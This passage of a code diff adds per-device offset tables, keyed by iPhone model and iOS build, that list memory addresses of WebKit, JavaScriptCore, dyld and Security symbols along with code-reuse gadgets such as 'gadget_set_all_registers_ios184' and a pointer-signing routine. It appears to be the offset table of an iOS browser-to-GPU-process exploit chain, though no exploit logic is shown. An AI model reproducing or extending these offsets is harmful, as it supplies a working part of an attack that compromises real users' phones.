0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5d80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2578d7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27138c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ab28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8878f8n, + WebCore__initPKContact_value : 0x1ed887900n, + WebCore__PAL_getPKContactClass : 0x1ed87edb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8860d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8860c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8860b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bd00n, + }, + "iPhone13,2_3_22G90": { + __pthread_head : 0x26972c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f91b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708048n, + free_slabs : 0x1ed7c17d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da9f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da6a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da6a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da5f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da6b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5ec0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a32e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dbc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ac68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887a38n, + WebCore__initPKContact_value : 0x1ed887a40n, + WebCore__PAL_getPKContactClass : 0x1ed87eef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8861f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87be40n, + }, + "iPhone13,4_22G90": { + __pthread_head : 0x26972c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f91b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708048n, + free_slabs : 0x1ed7c17d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da9f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da6a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da6a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da5f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da6b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5ec0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a32e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dbc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ac68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887a38n, + WebCore__initPKContact_value : 0x1ed887a40n, + WebCore__PAL_getPKContactClass : 0x1ed87eef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8861f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87be40n, + }, + "iPhone14,2_22G90": { + __pthread_head : 0x269af4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f93b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708248n, + free_slabs : 0x1ed7c19d0n, + gadget_control_1_ios184 : 0x23ed212ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dabf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da8a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da8a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da7f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da8b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cac38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc0d870n, + libsystem_c__atexit_mutex : 0x1ed6e6e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e60c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a7ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27218c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ae68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887c38n, + WebCore__initPKContact_value : 0x1ed887c40n, + WebCore__PAL_getPKContactClass : 0x1ed87f0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8863f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c040n, + }, + "iPhone14,3_22G90": { + __pthread_head : 0x269af4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f93b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708248n, + free_slabs : 0x1ed7c19d0n, + gadget_control_1_ios184 : 0x23ed212ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dabf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da8a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da8a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da7f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da8b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cac38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc0d870n, + libsystem_c__atexit_mutex : 0x1ed6e6e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e60c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a7ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27218c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ae68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887c38n, + WebCore__initPKContact_value : 0x1ed887c40n, + WebCore__PAL_getPKContactClass : 0x1ed87f0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8863f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c040n, + }, + "iPhone14,4_22G90": { + __pthread_head : 0x2690e0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa3e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9278n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708108n, + free_slabs : 0x1ed7c1890n, + gadget_control_1_ios184 : 0x23ed1d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7daab0n, + 